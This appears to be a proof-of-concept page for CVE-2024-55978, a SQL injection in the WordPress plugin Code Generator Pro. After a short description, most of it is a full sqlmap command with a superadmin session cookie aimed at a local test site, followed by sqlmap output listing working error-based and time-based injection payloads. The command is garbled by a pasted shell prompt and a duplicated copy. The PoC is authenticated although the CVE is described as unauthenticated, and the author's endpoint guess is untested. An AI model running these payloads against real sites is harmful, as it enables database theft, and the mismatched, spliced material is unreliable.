CVE-2024-55978 PoC — WordPress plugin Code Generator Pro SQL注入漏洞

Description

Code Generator Pro <= 1.2 - Unauthenticated SQL Injection

介绍

# CVE-2024-55978
Code Generator Pro <= 1.2 - Unauthenticated SQL Injection

# Description

The Code Generator Pro plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

## Details

- **Type**: plugin
- **Slug**: code-generator-pro
- **Affected Version**: 1.2
- **CVSS Score**: 9.8
- **CVSS Rating**: Critical
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-55978
- **Status**: Closed

POC
---

POC is authed but i think it's a different endpoint that will be vuln. suspect `code-generator-pro/style.php` but have not had time to set anything up

```
sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-admin/admin.php?page=code_generator_add_code&noheader=true' --data='code_generator_add_code_code=test&code_generator_add_code_password=test&code_generator_add_code_url%5B%5D=test'\''&code_generator_add_code_url%5B%5D=te&code_generator_add_code_add=Add' --level=3 --risk=3 --dbms='MySQL ' --cookie='wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C16d4ec708b7ed41e7bd3b130c8238d981e31999e942540ce1e1ceac1131838f0;sbjs_migrations=1418474375998%3D1;sbjs_current_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_first_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%(base) Roberts-MBP:~ rwiggins$ python3 /Users/rwiggins/tools/sqlmap/sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-admin/admin.php?page=code_generator_add_code&noheader=true' --data='code_generator_add_code_code=test&code_generator_add_code_password=test&code_generator_add_code_url%5B%5D=test'\''&code_generator_add_code_url%5B%5D=te&code_generator_add_code_add=Add' --level=3 --risk=3 --dbms='MySQL ' --cookie='wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C16d4ec708b7ed41e7bd3b130c8238d981e31999e942540ce1e1ceac1131838f0;sbjs_migrations=1418474375998%3D1;sbjs_current_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_first_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29;sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29;sbjs_udata=vst%3D2%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A133.0%29%20Gecko%2F20100101%20Firefox%2F133.0;user_age_data=YWdlX3ZlcmlmaWNhdGlvbl9wbHVnaW4=;wordpress_test_cookie=WP%20Cookie%20check;sbjs_session=pgs%3D1%7C%7C%7Ccpg%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F;wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C7c28d70808d0a70bb28aeca97ec259a3f3b0aeb7cc0c4e535576999fd5dba9d1'
```


```
sqlmap identified the following injection point(s) with a total of 1490 HTTP(s) requests:
---
Parameter: Array-like #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: code_generator_add_code_code=test'||(SELECT 0x55704c57 WHERE 1247=1247 AND (SELECT 7738 FROM(SELECT COUNT(*),CONCAT(0x71706b7a71,(SELECT (ELT(7738=7738,1))),0x716a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&code_generator_add_code_password=test&code_generator_add_code_url[]=test'&code_generator_add_code_url[]=te&code_generator_add_code_add=Add

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: code_generator_add_code_code=test'||(SELECT 0x52696578 WHERE 7877=7877 AND (SELECT 8438 FROM (SELECT(SLEEP(5)))DAxL))||'&code_generator_add_code_password=test&code_generator_add_code_url[]=test'&code_generator_add_code_url[]=te&code_generator_add_code_add=Add
---
[13:24:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
```

文件快照

备注